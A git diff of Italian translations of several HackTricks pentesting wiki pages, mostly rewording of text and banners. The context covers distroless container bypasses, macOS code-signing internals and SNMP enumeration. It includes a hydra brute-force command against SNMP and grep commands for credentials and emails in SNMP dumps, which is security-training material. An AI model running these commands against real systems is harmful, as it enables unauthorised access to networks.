Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica il Hacking AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il Hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# Bypass FS protections: read-only / no-exec / Distroless
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica Hacking AWS:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica Hacking GCP: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica il hacking AWS:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il hacking GCP: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -10,14 +10,14 @@ Impara e pratica Hacking GCP: <img src="../../../.gitbook/assets/grte.png" alt="
|
|||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository su github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato a una **carriera di hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
|
||||
Se sei interessato a una **carriera nell'hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -112,7 +112,7 @@ L'obiettivo dei container distroless è **ridurre la superficie di attacco dei c
|
|||
|
||||
### Reverse Shell
|
||||
|
||||
In un container distroless potresti **non trovare nemmeno `sh` o `bash`** per ottenere una shell normale. Non troverai nemmeno binari come `ls`, `whoami`, `id`... tutto ciò che di solito esegui in un sistema.
|
||||
In un container distroless potresti **non trovare nemmeno `sh` o `bash`** per ottenere una shell regolare. Non troverai nemmeno binari come `ls`, `whoami`, `id`... tutto ciò che di solito esegui in un sistema.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Pertanto, **non** sarai in grado di ottenere una **reverse shell** o **enumerare** il sistema come fai di solito.
|
||||
|
@ -132,7 +132,7 @@ Tuttavia, in questo tipo di container queste protezioni di solito esistono, ma p
|
|||
|
||||
Puoi trovare **esempi** su come **sfruttare alcune vulnerabilità RCE** per ottenere reverse shell di linguaggi di scripting ed eseguire binari dalla memoria in [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
|
||||
|
||||
|
|
|
@ -15,13 +15,13 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Informazioni di base
|
||||
## Basic Information
|
||||
|
||||
I binari Mach-o contengono un comando di caricamento chiamato **`LC_CODE_SIGNATURE`** che indica l'**offset** e la **dimensione** delle firme all'interno del binario. In realtà, utilizzando lo strumento GUI MachOView, è possibile trovare alla fine del binario una sezione chiamata **Code Signature** con queste informazioni:
|
||||
I file Mach-o contengono un comando di caricamento chiamato **`LC_CODE_SIGNATURE`** che indica l'**offset** e la **dimensione** delle firme all'interno del binario. In realtà, utilizzando lo strumento GUI MachOView, è possibile trovare alla fine del binario una sezione chiamata **Code Signature** con queste informazioni:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1).png" alt="" width="431"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt="" width="431"><figcaption></figcaption></figure>
|
||||
|
||||
L'intestazione magica della Code Signature è **`0xFADE0CC0`**. Poi hai informazioni come la lunghezza e il numero di blob del superBlob che li contiene.\
|
||||
L'intestazione magica della Code Signature è **`0xFADE0CC0`**. Poi hai informazioni come la lunghezza e il numero di blob del superBlob che le contiene.\
|
||||
È possibile trovare queste informazioni nel [codice sorgente qui](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L276):
|
||||
```c
|
||||
/*
|
||||
|
@ -118,8 +118,8 @@ Nota che ci sono diverse versioni di questa struct dove quelle vecchie potrebber
|
|||
|
||||
## Pagine di Firma del Codice
|
||||
|
||||
Hashare il binario completo sarebbe inefficiente e persino inutile se viene caricato in memoria solo parzialmente. Pertanto, la firma del codice è in realtà un hash di hash dove ogni pagina binaria è hashata individualmente.\
|
||||
In effetti, nel precedente codice **Code Directory** puoi vedere che **la dimensione della pagina è specificata** in uno dei suoi campi. Inoltre, se la dimensione del binario non è un multiplo della dimensione di una pagina, il campo **CodeLimit** specifica dove si trova la fine della firma.
|
||||
Hashare l'intero binario sarebbe inefficiente e persino inutile se viene caricato in memoria solo parzialmente. Pertanto, la firma del codice è in realtà un hash di hash dove ogni pagina binaria è hashata individualmente.\
|
||||
In realtà, nel precedente codice **Code Directory** puoi vedere che **la dimensione della pagina è specificata** in uno dei suoi campi. Inoltre, se la dimensione del binario non è un multiplo della dimensione di una pagina, il campo **CodeLimit** specifica dove si trova la fine della firma.
|
||||
```bash
|
||||
# Get all hashes of /bin/ps
|
||||
codesign -d -vvvvvv /bin/ps
|
||||
|
@ -175,7 +175,7 @@ In realtà, è possibile vedere nelle strutture del Code Directory un parametro
|
|||
|
||||
## Code Signing Flags
|
||||
|
||||
Ogni processo ha associato un bitmask noto come `status` che è avviato dal kernel e alcuni di essi possono essere sovrascritti dalla **firma del codice**. Queste flag che possono essere incluse nella firma del codice sono [definite nel codice](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs_blobs.h#L36):
|
||||
Ogni processo ha associato un bitmask noto come `status` che viene avviato dal kernel e alcuni di essi possono essere sovrascritti dalla **firma del codice**. Queste bandiere che possono essere incluse nella firma del codice sono [definite nel codice](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs_blobs.h#L36):
|
||||
```c
|
||||
/* code signing attributes of a process */
|
||||
#define CS_VALID 0x00000001 /* dynamically valid */
|
||||
|
@ -243,7 +243,7 @@ designated => identifier "org.whispersystems.signal-desktop" and anchor apple ge
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="info" %}
|
||||
Nota come queste firme possono controllare informazioni come certificazione, TeamID, ID, diritti e molti altri dati.
|
||||
Nota come queste firme possano controllare informazioni come certificazione, TeamID, ID, diritti e molti altri dati.
|
||||
{% endhint %}
|
||||
|
||||
Inoltre, è possibile generare alcuni requisiti compilati utilizzando lo strumento `csreq`:
|
||||
|
@ -273,7 +273,7 @@ od -A x -t x1 /tmp/output.csreq
|
|||
#### **Creazione e Gestione dei Requisiti di Codice**
|
||||
|
||||
* **`SecRequirementCreateWithData`:** Crea un `SecRequirementRef` da dati binari che rappresentano il requisito.
|
||||
* **`SecRequirementCreateWithString`:** Crea un `SecRequirementRef` da un'espressione stringa del requisito.
|
||||
* **`SecRequirementCreateWithString`:** Crea un `SecRequirementRef` da un'espressione di stringa del requisito.
|
||||
* **`SecRequirementCopy[Data/String]`**: Recupera la rappresentazione dei dati binari di un `SecRequirementRef`.
|
||||
* **`SecRequirementCreateGroup`**: Crea un requisito per l'appartenenza a un gruppo di app.
|
||||
|
||||
|
@ -312,7 +312,7 @@ Il **kernel** è quello che **controlla la firma del codice** prima di consentir
|
|||
|
||||
## `cs_blobs` & `cs_blob`
|
||||
|
||||
[**cs\_blob**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ubc\_internal.h#L106) la struttura contiene le informazioni sui diritti dell'entitlement del processo in esecuzione su di esso. `csb_platform_binary` informa anche se l'applicazione è un binario di piattaforma (che viene controllato in momenti diversi dal sistema operativo per applicare meccanismi di sicurezza come proteggere i diritti SEND ai porti di task di questi processi).
|
||||
[**cs\_blob**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ubc\_internal.h#L106) la struct contiene le informazioni sui diritti dell'entitlement del processo in esecuzione su di esso. `csb_platform_binary` informa anche se l'applicazione è un binario di piattaforma (che viene controllato in momenti diversi dal sistema operativo per applicare meccanismi di sicurezza come proteggere i diritti SEND alle porte di task di questi processi).
|
||||
```c
|
||||
struct cs_blob {
|
||||
struct cs_blob *csb_next;
|
||||
|
@ -376,8 +376,8 @@ bool csb_csm_managed;
|
|||
* [**\*OS Internals Volume III**](https://newosxbook.com/home.html)
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica il hacking AWS:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il hacking GCP: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
|
@ -34,14 +34,14 @@ SNMP utilizza anche la porta **162/UDP** per i **traps**. Questi sono pacchetti
|
|||
|
||||
### MIB
|
||||
|
||||
Per garantire che l'accesso SNMP funzioni tra diversi produttori e con diverse combinazioni client-server, è stata creata la **Management Information Base (MIB)**. MIB è un **formato indipendente per memorizzare informazioni sui dispositivi**. Un MIB è un file **testo** in cui tutti gli **oggetti SNMP** interrogabili di un dispositivo sono elencati in una gerarchia ad albero **standardizzata**. Contiene almeno un **`Object Identifier` (`OID`)**, che, oltre all'**indirizzo unico** necessario e a un **nome**, fornisce anche informazioni sul tipo, diritti di accesso e una descrizione dell'oggetto rispettivo.\
|
||||
Per garantire che l'accesso SNMP funzioni tra diversi produttori e con diverse combinazioni client-server, è stata creata la **Management Information Base (MIB)**. La MIB è un **formato indipendente per memorizzare informazioni sui dispositivi**. Un MIB è un file **testo** in cui tutti gli **oggetti SNMP** interrogabili di un dispositivo sono elencati in una gerarchia ad albero **standardizzata**. Contiene almeno un **`Object Identifier` (`OID`)**, che, oltre all'**indirizzo unico** necessario e a un **nome**, fornisce anche informazioni sul tipo, diritti di accesso e una descrizione dell'oggetto rispettivo.\
|
||||
I file MIB sono scritti nel formato di testo ASCII basato su `Abstract Syntax Notation One` (`ASN.1`). Le **MIB non contengono dati**, ma spiegano **dove trovare quali informazioni** e come appaiono, quali valori restituiscono per l'OID specifico o quale tipo di dato viene utilizzato.
|
||||
|
||||
### OIDs
|
||||
|
||||
**Object Identifiers (OIDs)** svolgono un ruolo cruciale. Questi identificatori unici sono progettati per gestire oggetti all'interno di una **Management Information Base (MIB)**.
|
||||
|
||||
I livelli più alti degli ID oggetto MIB, o OIDs, sono assegnati a diverse organizzazioni di standardizzazione. È all'interno di questi livelli superiori che viene stabilito il quadro per le pratiche e gli standard di gestione globale.
|
||||
I livelli più alti degli ID oggetto MIB, o OIDs, sono assegnati a diverse organizzazioni di standardizzazione. È all'interno di questi livelli superiori che viene stabilito il quadro per le pratiche e gli standard di gestione globali.
|
||||
|
||||
Inoltre, ai fornitori è concessa la libertà di stabilire rami privati. All'interno di questi rami, hanno l'**autonomia di includere oggetti gestiti pertinenti alle proprie linee di prodotto**. Questo sistema garantisce che ci sia un metodo strutturato e organizzato per identificare e gestire una vasta gamma di oggetti tra diversi fornitori e standard.
|
||||
|
||||
|
@ -87,7 +87,7 @@ Il resto dei valori fornisce informazioni specifiche sul dispositivo.
|
|||
|
||||
Ci sono 2 versioni importanti di SNMP:
|
||||
|
||||
* **SNMPv1**: La principale, è ancora la più frequente, l'**autenticazione si basa su una stringa** (community string) che viaggia in **testo chiaro** (tutte le informazioni viaggiano in testo chiaro). **Versione 2 e 2c** inviano il **traffico in testo chiaro** anche e utilizzano una **community string come autenticazione**.
|
||||
* **SNMPv1**: La principale, è ancora la più frequente, l'**autenticazione si basa su una stringa** (community string) che viaggia in **testo chiaro** (tutte le informazioni viaggiano in testo chiaro). **La versione 2 e 2c** inviano il **traffico in testo chiaro** anche e utilizzano una **community string come autenticazione**.
|
||||
* **SNMPv3**: Utilizza una forma di **autenticazione** migliore e le informazioni viaggiano **crittografate** (un **attacco a dizionario** potrebbe essere eseguito ma sarebbe molto più difficile trovare le credenziali corrette rispetto a SNMPv1 e v2).
|
||||
|
||||
### Community Strings
|
||||
|
@ -101,7 +101,7 @@ Ci sono **2 tipi di community strings**:
|
|||
Nota che **la scrivibilità di un OID dipende dalla community string utilizzata**, quindi **anche** se scopri che viene utilizzato "**public**", potresti essere in grado di **scrivere alcuni valori.** Inoltre, potrebbero **esistere** oggetti che sono **sempre "Read Only".**\
|
||||
Se provi a **scrivere** un oggetto, si riceve un errore **`noSuchName` o `readOnly`**.\*\*.\*\*
|
||||
|
||||
Nelle versioni 1 e 2/2c, se utilizzi una **community string** **errata**, il server non **risponderà**. Quindi, se risponde, è stata utilizzata una **community string valida**.
|
||||
Nelle versioni 1 e 2/2c, se utilizzi una **community string errata**, il server non **risponderà**. Quindi, se risponde, è stata utilizzata una **community string valida**.
|
||||
|
||||
## Porte
|
||||
|
||||
|
@ -169,7 +169,7 @@ Una serie di **valori della Management Information Base (MIB)** sono utilizzati
|
|||
|
||||
* **Processi di sistema**: Accessibile tramite `1.3.6.1.2.1.25.1.6.0`, questo parametro consente il monitoraggio dei processi attivi all'interno del sistema.
|
||||
* **Programmi in esecuzione**: Il valore `1.3.6.1.2.1.25.4.2.1.2` è designato per tracciare i programmi attualmente in esecuzione.
|
||||
* **Percorso dei processi**: Per determinare da dove sta girando un processo, viene utilizzato il valore MIB `1.3.6.1.2.1.25.4.2.1.4`.
|
||||
* **Percorso dei processi**: Per determinare da dove proviene un processo, viene utilizzato il valore MIB `1.3.6.1.2.1.25.4.2.1.4`.
|
||||
* **Unità di archiviazione**: Il monitoraggio delle unità di archiviazione è facilitato da `1.3.6.1.2.1.25.2.3.1.4`.
|
||||
* **Nome del software**: Per identificare il software installato su un sistema, si impiega `1.3.6.1.2.1.25.6.3.1.2`.
|
||||
* **Account utente**: Il valore `1.3.6.1.4.1.77.1.2.25` consente di tracciare gli account utente.
|
||||
|
@ -193,7 +193,7 @@ Se hai la **stringa** che ti consente di **scrivere valori** all'interno del ser
|
|||
|
||||
## **SNMP Massivo**
|
||||
|
||||
[Braa ](https://github.com/mteg/braa)è uno scanner SNMP di massa. L'uso previsto di tale strumento è, ovviamente, effettuare query SNMP – ma a differenza di snmpwalk di net-snmp, è in grado di interrogare dozzine o centinaia di host simultaneamente, e in un unico processo. Pertanto, consuma pochissime risorse di sistema e esegue la scansione MOLTO velocemente.
|
||||
[Braa ](https://github.com/mteg/braa) è uno scanner SNMP di massa. L'uso previsto di tale strumento è, ovviamente, effettuare query SNMP – ma a differenza di snmpwalk di net-snmp, è in grado di interrogare dozzine o centinaia di host simultaneamente, e in un unico processo. Pertanto, consuma pochissime risorse di sistema e esegue la scansione MOLTO velocemente.
|
||||
|
||||
Braa implementa il proprio stack SNMP, quindi non ha bisogno di librerie SNMP come net-snmp.
|
||||
|
||||
|
@ -213,7 +213,7 @@ grep ".1.3.6.1.2.1.1.1.0" *.snmp
|
|||
```
|
||||
### **Identificare la Stringa Privata**
|
||||
|
||||
Un passaggio cruciale implica identificare la **stringa della comunità privata** utilizzata dalle organizzazioni, in particolare sui router Cisco IOS. Questa stringa consente l'estrazione delle **configurazioni in esecuzione** dai router. L'identificazione si basa spesso sull'analisi dei dati SNMP Trap per la parola "trap" con un **comando grep**:
|
||||
Un passaggio cruciale implica l'identificazione della **stringa di comunità privata** utilizzata dalle organizzazioni, in particolare sui router Cisco IOS. Questa stringa consente l'estrazione delle **configurazioni in esecuzione** dai router. L'identificazione si basa spesso sull'analisi dei dati SNMP Trap per la parola "trap" con un **comando grep**:
|
||||
```bash
|
||||
grep -i "trap" *.snmp
|
||||
```
|
||||
|
@ -223,7 +223,7 @@ I log memorizzati all'interno delle tabelle MIB vengono esaminati per **tentativ
|
|||
```bash
|
||||
grep -i "login\|fail" *.snmp
|
||||
```
|
||||
### **Emails**
|
||||
### **Email**
|
||||
|
||||
Infine, per estrarre **indirizzi email** dai dati, viene utilizzato un **comando grep** con un'espressione regolare, concentrandosi su modelli che corrispondono ai formati email:
|
||||
```bash
|
||||
|
@ -243,7 +243,7 @@ Se c'è un ACL che consente solo ad alcuni IP di interrogare il servizio SMNP, p
|
|||
* snmpd.conf
|
||||
* snmp-config.xml
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
|
||||
|
||||
|
@ -286,8 +286,8 @@ Command: hydra -P {Big_Passwordlist} -v {IP} snmp
|
|||
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Impara e pratica Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
|
@ -52,15 +52,15 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
|
|||
|
||||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
|
||||
Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta fluente in polacco scritto e parlato_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -68,7 +68,7 @@ Impara e pratica Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
|
@ -60,15 +60,15 @@ Salvo qui anche lo strumento per facilità di accesso:
|
|||
|
||||
* `port:5900 RFB`
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta fluente in polacco scritto e parlato_).
|
||||
Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica Hacking AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica Hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica il hacking AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -76,7 +76,7 @@ Impara e pratica Hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -18,12 +18,12 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
|
|||
## Con il modulo PHP Filter
|
||||
|
||||
{% hint style="warning" %}
|
||||
